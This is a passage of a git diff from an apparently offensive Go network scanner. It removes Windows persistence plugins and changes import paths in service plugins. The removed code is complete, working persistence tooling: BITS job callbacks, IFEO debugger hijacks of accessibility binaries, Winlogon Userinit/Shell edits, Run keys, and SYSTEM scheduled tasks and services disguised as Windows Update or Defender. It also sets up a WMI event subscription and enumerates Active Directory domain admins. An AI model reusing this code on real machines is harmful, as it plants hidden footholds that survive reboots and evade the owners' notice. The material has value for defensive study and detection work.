conn.LDAPConn.Search(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeBaseObject, ldap.NeverDerefAliases, 0, 0, false, "(objectClass=*)", []string{"whenCreated", "whenChanged", "msDS-Behavior-Version"}, nil)) - if err != nil { - return - } - if len(sr.Entries) > 0 { - e := sr.Entries[0] - if v := e.GetAttributeValue("whenCreated"); v != "" { - p.log("systeminfo_dc_created", v) - } - if v := e.GetAttributeValue("msDS-Behavior-Version"); v != "" { - p.log("systeminfo_dc_func_level", v) - } - } -} - -func (p *SystemInfoPlugin) queryDomainControllers(conn *domainInfo) { - sr, err := conn.LDAPConn.SearchWithPaging(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))", []string{"cn", "dNSHostName", "operatingSystem"}, nil), 1000) - if err != nil { - return - } - p.logSuccess("systeminfo_dc_controllers", len(sr.Entries)) - for _, e := range sr.Entries { - p.log("systeminfo_dc_controller_detail", e.GetAttributeValue("cn"), e.GetAttributeValue("dNSHostName"), e.GetAttributeValue("operatingSystem")) - } -} - -func (p *SystemInfoPlugin) queryDomainAdmins(conn *domainInfo) { - sr, err := conn.LDAPConn.SearchWithPaging(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, "(&(objectCategory=group)(cn=Domain Admins))", []string{"member"}, nil), 1000) - if err != nil || len(sr.Entries) == 0 { - return - } - members := sr.Entries[0].GetAttributeValues("member") - p.logSuccess("systeminfo_dc_admins", len(members)) - for _, dn := range members { - userSr, err := conn.LDAPConn.Search(ldap.NewSearchRequest(dn, ldap.ScopeBaseObject, ldap.NeverDerefAliases, 0, 0, false, "(objectClass=*)", []string{"sAMAccountName", "displayName"}, nil)) - if err == nil && len(userSr.Entries) > 0 { - p.log("systeminfo_dc_admin_detail", userSr.Entries[0].GetAttributeValue("sAMAccountName"), userSr.Entries[0].GetAttributeValue("displayName")) - } - } -} - -func (p *SystemInfoPlugin) queryDomainUsers(conn *domainInfo) { - sr, err := conn.LDAPConn.SearchWithPaging(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, "(&(objectCategory=person)(objectClass=user))", []string{"sAMAccountName"}, nil), 0) - if err != nil { - return - } - p.log("systeminfo_dc_users", len(sr.Entries)) -} - -func (p *SystemInfoPlugin) queryDomainComputers(conn *domainInfo) { - sr, err := conn.LDAPConn.SearchWithPaging(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, "(&(objectClass=computer)(!userAccountControl:1.2.840.113556.1.4.803:=8192))", []string{"cn", "operatingSystem"}, nil), 0) - if err != nil { - return - } - p.log("systeminfo_dc_computers", len(sr.Entries)) - for _, e := range sr.Entries { - os := e.GetAttributeValue("operatingSystem") - if os != "" { - p.log("systeminfo_dc_computer_detail", e.GetAttributeValue("cn"), os) - } - } -} - -func (p *SystemInfoPlugin) queryGroupPolicies(conn *domainInfo) { - sr, err := conn.LDAPConn.SearchWithPaging(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, "(objectClass=groupPolicyContainer)", []string{"displayName", "cn"}, nil), 1000) - if err != nil { - return - } - p.log("systeminfo_dc_gpos", len(sr.Entries)) - for _, e := range sr.Entries { - if name := e.GetAttributeValue("displayName"); name != "" { - p.log("systeminfo_dc_gpo_detail", name, e.GetAttributeValue("cn")) - } - } -} - -func resolveIPv4(hostname string) (string, error) { - ips, err := net.LookupIP(hostname) - if err != nil { - return "", err - } - for _, ip := range ips { - if ip.To4() != nil { - return ip.String(), nil - } - } - return "", fmt.Errorf("no IPv4 found") -} diff --git a/plugins/local/types.go b/plugins/local/types.go deleted file mode 100644 index 8e18cd0e..00000000 --- a/plugins/local/types.go +++ /dev/null @@ -1,21 +0,0 @@ -package local - -import ( - "context" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" -) - -// Plugin 本地插件接口 - 不需要端口概念 -type Plugin interface { - Name() string - Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result -} - -// RegisterLocalPlugin 注册本地插件 - 自动标记local类型 -func RegisterLocalPlugin(name string, creator func() Plugin) { - plugins.RegisterWithTypes(name, func() plugins.Plugin { - return creator() - }, []int{}, []string{plugins.PluginTypeLocal}) -} diff --git a/plugins/local/winbits.go b/plugins/local/winbits.go deleted file mode 100644 index 918c9d7b..00000000 --- a/plugins/local/winbits.go +++ /dev/null @@ -1,99 +0,0 @@ -//go:build (plugin_winbits || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type WinBITSPlugin struct { - plugins.BasePlugin -} - -func NewWinBITSPlugin() *WinBITSPlugin { - return &WinBITSPlugin{BasePlugin: plugins.NewBasePlugin("winbits")} -} - -func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.WinPEFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} - } - - absPath, _ := filepath.Abs(pePath) - baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) - jobName := fmt.Sprintf("WindowsUpdate_%s", baseName) - - var output strings.Builder - - // 创建任务并提取 GUID - out, err := exec.Command("bitsadmin", "/create", "/download", jobName).CombinedOutput() - if err != nil { - output.WriteString(i18n.Tr("winbits_create_task_failed", strings.TrimSpace(string(out))) + "\n") - return &plugins.Result{Success: false, Output: output.String()} - } - - guid := "" - for _, line := range strings.Split(string(out), "\n") { - if idx := strings.Index(line, "{"); idx != -1 { - if end := strings.Index(line[idx:], "}"); end != -1 { - guid = line[idx : idx+end+1] - break - } - } - } - if guid == "" { - output.WriteString(i18n.GetText("winbits_guid_extract_failed") + "\n") - return &plugins.Result{Success: false, Output: output.String()} - } - output.WriteString(i18n.Tr("winbits_task_created", jobName, guid) + "\n") - - steps := []struct { - desc string - args []string - }{ - {i18n.GetText("winbits_add_file"), []string{"/addfile", guid, "http://localhost/update", fmt.Sprintf(`%s\%s_tmp`, os.TempDir(), baseName)}}, - {i18n.GetText("winbits_set_callback"), []string{"/SetNotifyCmdLine", guid, absPath, "NUL"}}, - {i18n.GetText("winbits_set_retry"), []string{"/SetMinRetryDelay", guid, "60"}}, - {i18n.GetText("winbits_resume_task"), []string{"/resume", guid}}, - } - - successCount := 1 - for _, step := range steps { - out, err := exec.Command("bitsadmin", step.args...).CombinedOutput() - if err != nil { - output.WriteString(i18n.Tr("local_step_failed", step.desc, strings.TrimSpace(string(out))) + "\n") - continue - } - output.WriteString(i18n.Tr("local_step_success", step.desc) + "\n") - successCount++ - } - - if successCount >= 3 { - session.LogSuccess(i18n.Tr("winbits_success", jobName)) - } - - return &plugins.Result{ - Success: successCount >= 3, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func init() { - RegisterLocalPlugin("winbits", func() Plugin { - return NewWinBITSPlugin() - }) -} diff --git a/plugins/local/winifeo.go b/plugins/local/winifeo.go deleted file mode 100644 index 67be8dd0..00000000 --- a/plugins/local/winifeo.go +++ /dev/null @@ -1,76 +0,0 @@ -//go:build (plugin_winifeo || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type WinIFEOPlugin struct { - plugins.BasePlugin -} - -func NewWinIFEOPlugin() *WinIFEOPlugin { - return &WinIFEOPlugin{BasePlugin: plugins.NewBasePlugin("winifeo")} -} - -func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.WinPEFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} - } - - absPath, _ := filepath.Abs(pePath) - - // 劫持目标:不常用但系统存在的程序 - targets := []struct { - exe string - desc string - }{ - {"sethc.exe", i18n.GetText("winifeo_sticky_keys")}, - {"utilman.exe", i18n.GetText("winifeo_accessibility")}, - {"narrator.exe", i18n.GetText("winifeo_narrator")}, - } - - var output strings.Builder - var successCount int - - for _, t := range targets { - key := fmt.Sprintf(`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s`, t.exe) - out, err := exec.Command("reg", "add", key, "/v", "Debugger", "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput() - if err != nil { - output.WriteString(i18n.Tr("local_step_failed", t.desc, strings.TrimSpace(string(out))) + "\n") - continue - } - output.WriteString(i18n.Tr("local_step_success_detail", t.desc, t.exe) + "\n") - successCount++ - } - - if successCount > 0 { - session.LogSuccess(i18n.Tr("winifeo_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func init() { - RegisterLocalPlugin("winifeo", func() Plugin { - return NewWinIFEOPlugin() - }) -} diff --git a/plugins/local/winlogon.go b/plugins/local/winlogon.go deleted file mode 100644 index dfb9c2d3..00000000 --- a/plugins/local/winlogon.go +++ /dev/null @@ -1,75 +0,0 @@ -//go:build (plugin_winlogon || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type WinLogonPlugin struct { - plugins.BasePlugin -} - -func NewWinLogonPlugin() *WinLogonPlugin { - return &WinLogonPlugin{BasePlugin: plugins.NewBasePlugin("winlogon")} -} - -func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.WinPEFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} - } - - absPath, _ := filepath.Abs(pePath) - key := `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` - - entries := []struct { - name string - value string - desc string - }{ - {"Userinit", fmt.Sprintf(`C:\Windows\system32\userinit.exe,%s`, absPath), i18n.GetText("winlogon_userinit_append")}, - {"Shell", fmt.Sprintf(`explorer.exe,%s`, absPath), i18n.GetText("winlogon_shell_append")}, - } - - var output strings.Builder - var successCount int - - for _, e := range entries { - out, err := exec.Command("reg", "add", key, "/v", e.name, "/t", "REG_SZ", "/d", e.value, "/f").CombinedOutput() - if err != nil { - output.WriteString(i18n.Tr("local_step_failed", e.desc, strings.TrimSpace(string(out))) + "\n") - continue - } - output.WriteString(i18n.Tr("local_step_success", e.desc) + "\n") - successCount++ - } - - if successCount > 0 { - session.LogSuccess(i18n.Tr("winlogon_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func init() { - RegisterLocalPlugin("winlogon", func() Plugin { - return NewWinLogonPlugin() - }) -} diff --git a/plugins/local/winregistry.go b/plugins/local/winregistry.go deleted file mode 100644 index c66e3cf6..00000000 --- a/plugins/local/winregistry.go +++ /dev/null @@ -1,78 +0,0 @@ -//go:build (plugin_winregistry || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type WinRegistryPlugin struct { - plugins.BasePlugin -} - -func NewWinRegistryPlugin() *WinRegistryPlugin { - return &WinRegistryPlugin{ - BasePlugin: plugins.NewBasePlugin("winregistry"), - } -} - -func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.WinPEFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} - } - - absPath, _ := filepath.Abs(pePath) - baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) - - entries := []struct { - key string - name string - desc string - }{ - {`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("WindowsUpdate_%s", baseName), i18n.GetText("winregistry_current_user_run")}, - {`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("SystemUpdate_%s", baseName), i18n.GetText("winregistry_local_machine_run")}, - {`HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`, fmt.Sprintf("SetupComplete_%s", baseName), i18n.GetText("winregistry_current_user_runonce")}, - } - - var output strings.Builder - var successCount int - - for _, e := range entries { - out, err := exec.Command("reg", "add", e.key, "/v", e.name, "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput() - if err != nil { - output.WriteString(i18n.Tr("local_step_failed", e.desc, strings.TrimSpace(string(out))) + "\n") - continue - } - output.WriteString(i18n.Tr("winregistry_step_success", e.desc, e.key, e.name) + "\n") - successCount++ - } - - if successCount > 0 { - session.LogSuccess(i18n.Tr("winregistry_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func init() { - RegisterLocalPlugin("winregistry", func() Plugin { - return NewWinRegistryPlugin() - }) -} diff --git a/plugins/local/winschtask.go b/plugins/local/winschtask.go deleted file mode 100644 index 7e2b2c5a..00000000 --- a/plugins/local/winschtask.go +++ /dev/null @@ -1,91 +0,0 @@ -//go:build (plugin_winschtask || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type WinSchTaskPlugin struct { - plugins.BasePlugin -} - -func NewWinSchTaskPlugin() *WinSchTaskPlugin { - return &WinSchTaskPlugin{ - BasePlugin: plugins.NewBasePlugin("winschtask"), - } -} - -func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.WinPEFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} - } - ext := strings.ToLower(filepath.Ext(pePath)) - if ext != ".exe" && ext != ".dll" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_invalid_pe", pePath))} - } - - absPath, _ := filepath.Abs(pePath) - baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) - - tasks := []struct { - name string - schedule string - modifier string - }{ - {fmt.Sprintf("WindowsUpdateCheck_%s", baseName), "DAILY", "1"}, - {fmt.Sprintf("SystemSecurityScan_%s", baseName), "ONLOGON", ""}, - {fmt.Sprintf("MaintenanceTask_%s", baseName), "ONSTART", ""}, - {fmt.Sprintf("BackgroundService_%s", baseName), "HOURLY", "2"}, - } - - var output strings.Builder - var successCount int - - for _, task := range tasks { - args := []string{"/create", "/tn", task.name, "/tr", absPath, "/sc", task.schedule} - if task.modifier != "" { - args = append(args, "/mo", task.modifier) - } - args = append(args, "/ru", "SYSTEM", "/f") - - cmd := exec.Command("schtasks", args...) - out, err := cmd.CombinedOutput() - result := strings.TrimSpace(string(out)) - if err != nil { - output.WriteString(i18n.Tr("local_step_failed", task.name, result) + "\n") - continue - } - output.WriteString(i18n.Tr("local_step_success_detail", task.name, task.schedule) + "\n") - successCount++ - } - - if successCount > 0 { - session.LogSuccess(i18n.Tr("winschtask_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func init() { - RegisterLocalPlugin("winschtask", func() Plugin { - return NewWinSchTaskPlugin() - }) -} diff --git a/plugins/local/winservice.go b/plugins/local/winservice.go deleted file mode 100644 index 4c91490b..00000000 --- a/plugins/local/winservice.go +++ /dev/null @@ -1,81 +0,0 @@ -//go:build (plugin_winservice || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type WinServicePlugin struct { - plugins.BasePlugin -} - -func NewWinServicePlugin() *WinServicePlugin { - return &WinServicePlugin{ - BasePlugin: plugins.NewBasePlugin("winservice"), - } -} - -func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.WinPEFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} - } - - absPath, _ := filepath.Abs(pePath) - baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) - - services := []struct { - name string - display string - start string - }{ - {fmt.Sprintf("WinDefendUpdate_%s", baseName), "Windows Defender Update Service", "auto"}, - {fmt.Sprintf("SysHealthMon_%s", baseName), "System Health Monitor", "delayed-auto"}, - } - - var output strings.Builder - var successCount int - - for _, svc := range services { - out, err := exec.Command("sc", "create", svc.name, - fmt.Sprintf("binPath=%s", absPath), - fmt.Sprintf("DisplayName=%s", svc.display), - fmt.Sprintf("start=%s", svc.start)).CombinedOutput() - if err != nil { - output.WriteString(i18n.Tr("local_step_failed", svc.name, strings.TrimSpace(string(out))) + "\n") - continue - } - _ = exec.Command("sc", "description", svc.name, "Provides system maintenance and monitoring services.").Run() - output.WriteString(i18n.Tr("local_step_success_detail", svc.name, svc.start) + "\n") - successCount++ - } - - if successCount > 0 { - session.LogSuccess(i18n.Tr("winservice_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func init() { - RegisterLocalPlugin("winservice", func() Plugin { - return NewWinServicePlugin() - }) -} diff --git a/plugins/local/winstartup.go b/plugins/local/winstartup.go deleted file mode 100644 index bf3db998..00000000 --- a/plugins/local/winstartup.go +++ /dev/null @@ -1,93 +0,0 @@ -//go:build (plugin_winstartup || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "fmt" - "io" - "os" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type WinStartupPlugin struct { - plugins.BasePlugin -} - -func NewWinStartupPlugin() *WinStartupPlugin { - return &WinStartupPlugin{ - BasePlugin: plugins.NewBasePlugin("winstartup"), - } -} - -func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.WinPEFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} - } - - absPath, _ := filepath.Abs(pePath) - fileName := filepath.Base(absPath) - - locations := []struct { - name string - dir string - }{ - {i18n.GetText("winstartup_user_folder"), filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")}, - {i18n.GetText("winstartup_common_folder"), filepath.Join(os.Getenv("ProgramData"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")}, - } - - var output strings.Builder - var successCount int - - for _, loc := range locations { - target := filepath.Join(loc.dir, fileName) - if err := copyFile(absPath, target); err != nil { - output.WriteString(i18n.Tr("local_step_failed", loc.name, err) + "\n") - continue - } - output.WriteString(i18n.Tr("local_step_success_arrow", loc.name, target) + "\n") - successCount++ - } - - if successCount > 0 { - session.LogSuccess(i18n.Tr("winstartup_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func copyFile(src, dst string) error { - in, err := os.Open(src) - if err != nil { - return err - } - defer in.Close() - - out, err := os.Create(dst) - if err != nil { - return err - } - defer out.Close() - - _, err = io.Copy(out, in) - return err -} - -func init() { - RegisterLocalPlugin("winstartup", func() Plugin { - return NewWinStartupPlugin() - }) -} diff --git a/plugins/local/winwmi.go b/plugins/local/winwmi.go deleted file mode 100644 index 2e27d8f0..00000000 --- a/plugins/local/winwmi.go +++ /dev/null @@ -1,98 +0,0 @@ -//go:build (plugin_winwmi || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type WinWMIPlugin struct { - plugins.BasePlugin -} - -func NewWinWMIPlugin() *WinWMIPlugin { - return &WinWMIPlugin{ - BasePlugin: plugins.NewBasePlugin("winwmi"), - } -} - -func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.WinPEFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} - } - - absPath, _ := filepath.Abs(pePath) - baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) - - filterName := fmt.Sprintf("SysMon_%s", baseName) - consumerName := fmt.Sprintf("SysExec_%s", baseName) - - ps := fmt.Sprintf(`$ok = 0 -try { - $f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance() - $f.Name = "%s"; $f.EventNameSpace = "root\cimv2"; $f.QueryLanguage = "WQL" - $f.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" - $f.Put() | Out-Null; $ok++; Write-Output "[OK] EventFilter" -} catch { Write-Output "[FAIL] EventFilter: $_" } -try { - $c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance() - $c.Name = "%s"; $c.ExecutablePath = "%s"; $c.CommandLineTemplate = "%s" - $c.Put() | Out-Null; $ok++; Write-Output "[OK] Consumer" -} catch { Write-Output "[FAIL] Consumer: $_" } -try { - $fi = Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='%s'" - $co = Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='%s'" - $b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance() - $b.Filter = $fi.__PATH; $b.Consumer = $co.__PATH - $b.Put() | Out-Null; $ok++; Write-Output "[OK] Binding" -} catch { Write-Output "[FAIL] Binding: $_" } -Write-Output "TOTAL:$ok"`, - filterName, consumerName, absPath, absPath, filterName, consumerName) - - out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput() - if err != nil { - session.LogError(i18n.Tr("error_generic", fmt.Errorf("%s: %w, %s: %s", i18n.GetText("powershell_exec_failed"), err, i18n.GetText("command_output"), strings.TrimSpace(string(out))))) - } - result := string(out) - - var output strings.Builder - successCount := 0 - for _, line := range strings.Split(result, "\n") { - line = strings.TrimSpace(line) - if strings.HasPrefix(line, "[OK]") || strings.HasPrefix(line, "[FAIL]") { - output.WriteString(line + "\n") - } - if strings.HasPrefix(line, "[OK]") { - successCount++ - } - } - - if successCount > 0 { - session.LogSuccess(i18n.Tr("winwmi_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func init() { - RegisterLocalPlugin("winwmi", func() Plugin { - return NewWinWMIPlugin() - }) -} diff --git a/plugins/services/activemq.go b/plugins/services/activemq.go index 572d58b7..06fece0b 100644 --- a/plugins/services/activemq.go +++ b/plugins/services/activemq.go @@ -9,9 +9,9 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // ActiveMQPlugin ActiveMQ扫描插件 diff --git a/plugins/services/bacnet.go b/plugins/services/bacnet.go index 6bd0913b..8dcce7b7 100644 --- a/plugins/services/bacnet.go +++ b/plugins/services/bacnet.go @@ -7,8 +7,8 @@ import ( "encoding/binary" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) var bacnetWhoIs = []byte{0x81, 0x0a, 0x00, 0x0c, 0x01, 0x20, 0xff, 0xff, 0x00, 0xff, 0x10, 0x08} diff --git a/plugins/services/cassandra.go b/plugins/services/cassandra.go index bc505d3f..bb488b17 100644 --- a/plugins/services/cassandra.go +++ b/plugins/services/cassandra.go @@ -11,9 +11,9 @@ import ( "sync/atomic" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // CassandraPlugin Cassandra扫描插件(纯 raw TCP CQL 协议实现) diff --git a/plugins/services/credential_tester.go b/plugins/services/credential_tester.go index 27844a7e..0eb3d81a 100644 --- a/plugins/services/credential_tester.go +++ b/plugins/services/credential_tester.go @@ -10,9 +10,9 @@ import ( "sync/atomic" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) /* diff --git a/plugins/services/credential_tester_test.go b/plugins/services/credential_tester_test.go index 8827928c..c08777d3 100644 --- a/plugins/services/credential_tester_test.go +++ b/plugins/services/credential_tester_test.go @@ -9,7 +9,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) /* diff --git a/plugins/services/dns.go b/plugins/services/dns.go index f80fed87..bfb78484 100644 --- a/plugins/services/dns.go +++ b/plugins/services/dns.go @@ -6,8 +6,8 @@ import ( "context" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type DNSPlugin struct { diff --git a/plugins/services/dnstcp.go b/plugins/services/dnstcp.go index 8d24bac2..dd5e86dc 100644 --- a/plugins/services/dnstcp.go +++ b/plugins/services/dnstcp.go @@ -8,8 +8,8 @@ import ( "io" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type DNSTCPPlugin struct { diff --git a/plugins/services/elasticsearch.go b/plugins/services/elasticsearch.go index 500174d2..a75648fc 100644 --- a/plugins/services/elasticsearch.go +++ b/plugins/services/elasticsearch.go @@ -9,9 +9,9 @@ import ( "fmt" "net/http" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) type ElasticsearchPlugin struct { diff --git a/plugins/services/findnet.go b/plugins/services/findnet.go index 40de88c8..4a1887d3 100644 --- a/plugins/services/findnet.go +++ b/plugins/services/findnet.go @@ -14,9 +14,9 @@ import ( "time" "unicode" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // 预编译正则表达式 diff --git a/plugins/services/ftp.go b/plugins/services/ftp.go index 53b1f9de..248aa8ad 100644 --- a/plugins/services/ftp.go +++ b/plugins/services/ftp.go @@ -9,9 +9,9 @@ import ( "time" ftplib "github.com/jlaffaye/ftp" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // FTPPlugin FTP扫描插件 diff --git a/plugins/services/http_test_helpers_test.go b/plugins/services/http_test_helpers_test.go index 8a4ddefc..1549c454 100644 --- a/plugins/services/http_test_helpers_test.go +++ b/plugins/services/http_test_helpers_test.go @@ -9,7 +9,7 @@ import ( "strconv" "testing" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) func testSession() *common.ScanSession { diff --git a/plugins/services/imap.go b/plugins/services/imap.go index a028144d..705fb85c 100644 --- a/plugins/services/imap.go +++ b/plugins/services/imap.go @@ -8,8 +8,8 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type IMAPPlugin 